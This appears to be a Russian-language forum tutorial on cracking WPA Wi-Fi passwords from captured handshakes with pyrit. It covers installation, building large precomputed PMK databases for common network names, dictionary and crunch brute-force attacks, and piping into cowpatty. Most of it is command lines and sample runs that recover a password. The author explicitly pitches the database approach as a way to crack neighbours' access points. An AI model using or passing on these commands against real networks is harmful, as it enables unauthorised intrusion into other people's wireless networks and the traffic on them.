Ломать будем с помощью pyrit

1. Зависимости:

apt-get install g++ python-dev openssl zlib1g-dev libssl-dev python-scapy libpcap0.8 libpcap0.8-dev libpcap-dev

2. Исходник:

svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit-read-only

3. Ставим:

cd pyrit_svn/

cd pyrit/
python setup.py build install

cd cpyrit_opencl/
python setup.py build install

4. Проверяем правильность установки:

pyrit selftest

Смотрим доступные ядра процессора/видеокарт:

pyrit list_cores

Запускаем оценочный тест:

pyrit benchmark

5. Пример использования:

pyrit -i /путь/до/файла/с/паролями/пароли.тхт import_passwords
pyrit -r cap-01.cap analyze
pyrit -r cap-01.cap -b 00:11:22:33:44:55 attack_batch
либо
pyrit -r cap-01.cap attack_batch

Вариант 2 — хранение базы в любой указанной папке пользователя. Это более основательный подход к делу. Позволяет создать базу для конкретных essid'ов и конкретным числом паролей, т.е. берется файл с 100 миллионами паролей, после чего к нему добавляются любые essid'ы с уникальными именами. После чего база компилируется и привязывается к конкретным essid'ам которые вы в нее залили. После компиляции скорость увеличивается в 5-7 раз. Отличный вариант скажете вы, и будете правы, но ложка дектя конечно же есть smile.gif подвох заключен во времени компиляции, которые естественно зависит от кол-ва паролей и essid'ов и составляет продолжительное время.
Плюсы:
Допустим 1 база на 10 уникальных essid'ов может использоваться для любых точек доступа при условии что имя точки совпадает с тем, что находится в базе. Т.е. если у двух ваших соседей имя точки доступа dlink, но естественно разные mac-адреса, это НЕ помешает вам перебирать их по своей базе без необходится создания новой базы.
Скорость
Огромная скорость
Сделал 1 базу на самые часто встречающиеся essid'ы и чекай их за минимальное время в любых!!! количествах.
Минусы:
Время компилирования
Занимает много места на жестком диске.
Вывод — сухие факты про мою базу: 850 миллионов слов, 24 essid'а, 32 часа компилирования, 650.000 pmk/s перебор по базе, вес 240 gb.
Естественно при меньшем кол-ве паролей и essid'ов затраты по времени уменьшаются прямопропорционально. Стоит это того или нет, каждый решает сам.
Пример использования:

pyrit -u file:///путь/до/файла/где/будет/база.db -i /путь/до/файла/с/паролями/пароли.тхт import_passwords
pyrit -u file:///путь/до/файла/где/будет/база.db -e linksys create_essid
pyrit -u file:///путь/до/файла/где/будет/база.db eval
pyrit -u file:///путь/до/файла/где/будет/база.db batch
pyrit -u file:///путь/до/файла/где/будет/база.db eval
pyrit -u file:///путь/до/файла/где/будет/база.db -r /путь/до/файла/с/cap/output-01.cap attack_db

3. Ломаем по словарю на лету. Режим attack_passthrough. Самый быстрый. Без базы.

pyrit -e ESSID -i password.lst -r capture.cap attack_passthrough

-e ESSID - имя точки доступа

-i password.lst файл паролей
-r capture.cap - файл с хендшейком.
attack_passthrough - режим атаки

4. Атака с генератором паролей crunch

crunch 10 12 1234567890 | pyrit -e ESSID -i - -r capture.cap attack_passthrough

5. Атака с cowpatty

Ставим cowpatty:

wget http://wirelessdefence.org/Contents/Files/cowpatty-4.6.tgz
tar -xvf cowpatty-4.6.tgz
cd cowpatty-4.6/
make && make install
/pentest/passwords/crunch/crunch 8 8 ABCDEFGHIJKLMNOPQRSTUVWXYZ | pyrit -e BTHub3 -i - -o - passthrough | cowpatty -d - -r wpafile.cap -s BTHub3

Реальный тест производительности pyrit

Атака генератором паролей crunch

root@bamt-miner:~# time /pentest/passwords/crunch/crunch 10 10 1234567890 | pyrit -i - -r /mnt/data/capfiles/test-14.cap attack_passthrough
Crunch will now generate the following amount of data: 110000000000 bytes
104904 MB
102 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000000000
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file '/mnt/data/capfiles/test-14.cap' (1/1)...
Parsed 11 packets (11 802.11-packets), got 1 AP(s)

Picked AccessPoint 48:5b:39:38:57:cc ('default') automatically.
Tried 123486174 PMKs so far; 88913 PMKs per second.

The password is '1234567890'.


real    23m36.646s
user    26m19.795s
sys     0m59.752s

Атака по словарю:

root@bamt-miner:~/cowpatty-4.6# time pyrit  -i /mnt/data/pyrit/dict_fullsorted_8.2G/fullsorted.dic -r /mnt/data/capfiles/test-14.cap attack_passthrough
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file '/mnt/data/capfiles/test-14.cap' (1/1)...
Parsed 11 packets (11 802.11-packets), got 1 AP(s)

Picked AccessPoint 48:5b:39:38:57:cc ('default') automatically.
Tried 112425621 PMKs so far; 88146 PMKs per second.

The password is '1234567890'.


real    21m7.570s
user    22m30.768s
sys     0m57.260s